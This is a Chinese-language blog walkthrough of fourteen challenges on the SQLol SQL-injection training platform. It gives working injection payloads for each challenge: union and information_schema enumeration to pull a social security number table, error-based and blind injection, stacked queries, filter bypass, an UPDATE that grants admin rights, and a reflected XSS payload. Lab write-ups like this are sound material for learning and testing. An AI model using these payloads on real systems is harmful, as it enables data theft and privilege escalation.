SQL隱碼攻擊測試平臺SQLol-6.CHALLENGES挑戰

bypass發表於2016-05-28

  SQLol上面的挑戰共有14關,接下來我們一關一關來突破。

 

Challenge 0

目的是讓查詢返回所有的使用者名稱,而不是隻有一個。

SELECT username FROM users WHERE username = 【`1`】 GROUP BY username ORDER BY username ASC

注入點在【1】處

構造POC:  1` or 1=1# 或者 1` and 1=2 union select username from users#

都可以查詢到所有的使用者名稱。

 

Challenge 1

目標是找到資料庫中存在的社會安全號碼錶並提取資訊。

SELECT username FROM users WHERE username = 【`1`】 GROUP BY username ORDER BY username ASC

注入點在【1】處,我們需要知道有哪些表哪些欄位,才能找出所想要的資訊,為此,我們使用information_schema進行查表查列。

構造POC: 

查出資料庫所有的庫,      ` and 1=2 UNION SELECT table_schema FROM information_schema.tables#

選擇sqlol庫查表,           ` and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema=`sqlol`#

選擇表,查列,              ` and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name=`ssn`#

 選擇欄位,查資料,       ` UNION SELECT concat(name, 0x7e, ssn)  FROM ssn#

到此,已經得到所想要的資訊。

 

Challenge 2

目標是找到資料庫中存在的社會安全號碼錶並提取資訊。

SELECT username FROM users WHERE isadmin = 【1】 GROUP BY username ORDER BY username ASC

注入點在【1】處,與challenge1類似,所不同的,這是數字型注入,過濾單引號。

構造POC:

查出資料庫所有的庫,1 and 1=2 UNION SELECT table_schema FROM information_schema.tables#

選擇sqlol庫查表,     1 and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema=0x73716C6F6C#(0x73716C6F6C是sqlol的Hex編碼)

選擇表,查列,         1 and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name=0x73736E#(0x73736E是ssn的Hex編碼)

 選擇欄位,查資料,  1 and 1=2 UNION SELECT concat(name, 0x7e, ssn)  FROM ssn#

到此,已經得到所想要的資訊。

 

Challenge 3

目標是找到資料庫中存在的社會安全號碼錶並提取資訊。

無提示,只輸出一行,詳細錯誤資訊,查詢不顯示,與challenge 1類似。

構造POC:

` UNION SELECT concat(name,`:`,ssn) FROM ssn LIMIT 0,1

 

Challenge 4

 目的是找出資料庫中存在的社會安全號碼錶,並提取其資訊,無盲SQL隱碼攻擊技術。

提示,有詳細的錯誤,可以使用報錯注入

構造POC:

 ` and extractvalue(1, concat(0x5c,(select user())))#

` AND ExtractValue(1,concat(0x01,(select concat(name,`:`,ssn) from ssn limit 0,1)))#

 

Challenge 5

目標是找到資料庫中存在的社會安全號碼錶並提取資訊。

提示,使用盲注,無輸入錯誤資訊

構造POC:

得到資料庫的長度: 1` or  length(database())=5#

逐字猜解ascii碼: 1` or  ascii(mid(database(),1,1))=115#

慢慢猜,總會猜出來的,大致方法就這個。

 

Challenge 6

目標是建立一個新表稱為“ipwntyourdb”使用堆疊的查詢。

構造POC:

SELECT username FROM users WHERE username = `Herp Derper`;create table ipwntyourdb( id VARCHAR(100) NOT NULL)# GROUP BY username ORDER BY username ASC

 

Challenge 7

目標是找到資料庫中存在的社會安全號碼錶,並從資料庫中刪除任何內容,以提取其資訊。

提示:刪除,報錯,查詢不顯示

POC:

 DELETE FROM users WHERE username = `` or updatexml(1,concat(0x7e,(version()),0x7e),0) or`

 

Challenge 8

目標找到資料庫中存在的社會安全號碼錶並提取資訊。

 提示:有黑名單過濾,需繞過,過濾了union,select,where,and,or,–,#等字元。

POC:

` uNion seLect concat(name,`:`,ssn) from ssn uNion selEct null from users whEre username=`

 

Challenge 9

目的是注入查詢並導致其更新ID為3的使用者”isadmin”更改為1。

UPDATE users SET isadmin = 1 WHERE id = 3

如何把這句拼接到原有注入點,並執行成功呢?

POC:

UPDATE users SET username = `admin`, isadmin = 1 WHERE id = 3#

更新ID為3的username為admin,並把isadmin改為1.

 

Challenge 10

目標是從資料庫中獲取社會安全號碼。

提示:注入點在【1】處,SELECT 【1】 FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 

POC:

seLect concat(name,`:`,ssn) from ssn#

 

Challenge 11

目標是從資料庫中獲取社會安全號碼。

POC:

SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY 1 and (select count(*) from information_schema.columns group by concat(version(),0x27202020,floor(rand(0)*2-1))) ASC 

 

Challenge 12

目的是使用一個SQL隱碼攻擊漏洞執行反射跨站指令碼攻擊。

POC:

 1` and <script>alert(11)</script>#

SELECT username FROM users WHERE username = ` 1` and <script>alert(11)</script>#` GROUP BY username ORDER BY username ASC  

執行過程中,會報錯,彈窗,然後提示如下:

SELECT username FROM users WHERE username = `1` and #` GROUP BY username ORDER BY username ASC  

JavaScript指令碼已經成功在瀏覽器執行。

 

Challenge 13

目的是從資料庫檢索所有的使用者名稱。

POC:

在沒有過濾單引號的情況下:select username from users where username LIKE `2` or 1=1

過濾了單引號:

通過模糊查詢的方法來盲注,

%,表示任意0個或多個字元

_,表示任意單個字元

[],表示字元括號中所列字元的一個

[^],不在這裡的所列字元

 

根據頁面返回是否正確得到判斷。

1、得到username的一個首字元

select username from users where username LIKE `P%` LIMIT 0,1

2、判斷以P開頭的首字元有幾位

select username from users where username LIKE `P__________` LIMIT 0,1

3、接著往下猜解唄。。。。


相關文章